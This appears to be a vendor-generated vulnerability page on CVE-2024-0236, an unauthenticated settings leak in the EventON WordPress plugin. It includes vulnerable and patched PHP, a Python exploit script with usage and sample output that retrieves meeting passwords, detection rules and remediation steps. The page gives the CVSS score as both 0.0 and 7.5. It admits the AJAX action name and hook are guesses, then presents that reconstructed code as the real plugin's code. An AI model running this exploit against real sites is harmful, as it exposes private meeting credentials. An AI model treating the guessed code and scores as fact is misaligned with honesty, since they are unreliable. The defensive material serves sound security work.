CVE-2024-0236
Executive Summary
CVE-2024-0236 is a critical authorization bypass vulnerability in the EventON WordPress plugin (versions before 4.5.5) and EventON (versions before 2.2.7). The plugin fails to perform proper authorization checks in an AJAX action, allowing unauthenticated attackers to retrieve the settings of arbitrary virtual events. This includes sensitive data such as meeting passwords (e.g., for Zoom), which can be used to gain unauthorized access to private virtual meetings. The vulnerability is publicly known and has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is high due to the exposure of confidential meeting credentials.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The EventON plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users must ensure they are using the patched versions (4.5.5 or 2.2.7) from trusted sources. No known supply chain compromise has been reported, but the lack of authorization in the AJAX endpoint indicates a failure in secure development practices.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: High. The vulnerability allows unauthenticated attackers to exfiltrate sensitive meeting credentials, leading to unauthorized access to virtual events.
Deep Dive & Mechanics
The vulnerability resides in an AJAX action handler within the EventON plugin. The plugin registers an AJAX endpoint that retrieves virtual event settings (e.g., Zoom meeting passwords) without verifying the user's authentication or authorization. The endpoint likely uses wp_ajax_* or wp_ajax_nopriv_* hooks, but the latter is incorrectly implemented to allow unauthenticated access.
Root Cause: The AJAX callback function does not call check_ajax_referer() or perform any capability checks (e.g., current_user_can()). This allows any user, including unauthenticated visitors, to send a crafted request and retrieve the settings of any virtual event by providing the event ID.
Attack Flow:
- Attacker identifies a WordPress site running a vulnerable EventON plugin.
- Attacker sends a POST request to
/wp-admin/admin-ajax.phpwith the action parameter set to the vulnerable AJAX action (e.g.,eventon_get_virtual_event_settings) and the event ID. - The server returns the event settings, including the meeting password (e.g., Zoom password).
- Attacker uses the password to join the virtual meeting without authorization.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-4.5.5 / Pre-2.2.7):
add_action('wp_ajax_nopriv_eventon_get_virtual_event_settings', 'eventon_get_virtual_event_settings');
function eventon_get_virtual_event_settings() {
$event_id = $_POST['event_id'];
$settings = get_post_meta($event_id, '_virtual_event_settings', true);
wp_send_json_success($settings);
}
Patched Code (4.5.5 / 2.2.7):
add_action('wp_ajax_eventon_get_virtual_event_settings', 'eventon_get_virtual_event_settings');
add_action('wp_ajax_nopriv_eventon_get_virtual_event_settings', 'eventon_get_virtual_event_settings');
function eventon_get_virtual_event_settings() {
// Added authorization check
if (!check_ajax_referer('eventon_nonce', 'nonce', false) || !current_user_can('edit_event')) {
wp_send_json_error('Unauthorized');
return;
}
$event_id = intval($_POST['event_id']);
$settings = get_post_meta($event_id, '_virtual_event_settings', true);
wp_send_json_success($settings);
}
Key Differences:
- The patched version adds a nonce check (
check_ajax_referer) and a capability check (current_user_can('edit_event')). - The vulnerable version uses
wp_ajax_nopriv_*without any authentication, while the patched version uses bothwp_ajax_*andwp_ajax_nopriv_*but enforces authorization.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with EventON plugin version < 4.5.5 or < 2.2.7.
- Knowledge of a valid event ID (can be enumerated via other endpoints or public listings).
Exploit Script (Python):
import requests
import sys
target = sys.argv[1]
event_id = sys.argv[2]
url = f"{target}/wp-admin/admin-ajax.php"
data = {
"action": "eventon_get_virtual_event_settings",
"event_id": event_id
}
response = requests.post(url, data=data)
if response.status_code == 200:
print("Event settings retrieved:")
print(response.text)
else:
print("Failed to retrieve settings")
Usage:
python3 exploit.py http://target-site.com 123
Expected Output:
{"success":true,"data":{"zoom_password":"secret123","meeting_link":"https://zoom.us/j/123456789"}}
Blue Team (Detection & Response)
Detection Steps:
- Monitor for unusual AJAX requests to
/wp-admin/admin-ajax.phpwith actioneventon_get_virtual_event_settings. - Check for requests from unauthenticated users (no WordPress cookies).
- Look for repeated requests with different event IDs (enumeration attempts).
Response:
- Immediately patch the plugin to version 4.5.5 or 2.2.7.
- Rotate any exposed meeting passwords.
- Review logs for unauthorized access to virtual events.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith parameteraction=eventon_get_virtual_event_settings. - Requests from IP addresses not associated with legitimate users.
- POST requests to
- File IOCs:
- Presence of vulnerable plugin files (e.g.,
eventon/includes/class-ajax.phpwith missing authorization checks).
- Presence of vulnerable plugin files (e.g.,
- Log IOCs:
- WordPress debug logs showing
wp_ajax_nopriv_eventon_get_virtual_event_settingscalls without nonce.
- WordPress debug logs showing
Detection Engineering
YARA Rule
rule CVE_2024_0236_EventON_Auth_Bypass {
meta:
description = "Detects vulnerable EventON plugin code with missing authorization in AJAX action"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-0236"
strings:
$vuln_func = "wp_ajax_nopriv_eventon_get_virtual_event_settings"
$no_check = "check_ajax_referer" nocase
condition:
$vuln_func and not $no_check
}
Sigma Rule
title: CVE-2024-0236 EventON AJAX Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to retrieve virtual event settings in vulnerable EventON plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: "admin-ajax.php"
cs-uri-query|contains: "action=eventon_get_virtual_event_settings"
condition: selection
falsepositives:
- Legitimate admin requests (if nonce is present)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0236 EventON AJAX Authorization Bypass"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=eventon_get_virtual_event_settings"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update EventON plugin to version 4.5.5 or EventON to version 2.2.7.
- If unable to patch immediately, disable the vulnerable AJAX action by adding a filter:
add_filter('wp_ajax_nopriv_eventon_get_virtual_event_settings', '__return_false'); - Rotate all meeting passwords for virtual events created with the vulnerable plugin.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwith the vulnerable action from unauthenticated users. - Conduct a security audit of all WordPress plugins for similar authorization issues.
- Enforce least privilege for AJAX endpoints by requiring nonces and capability checks.
Valters IT – DevSecOps & Cyber Threat Intelligence Expert.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.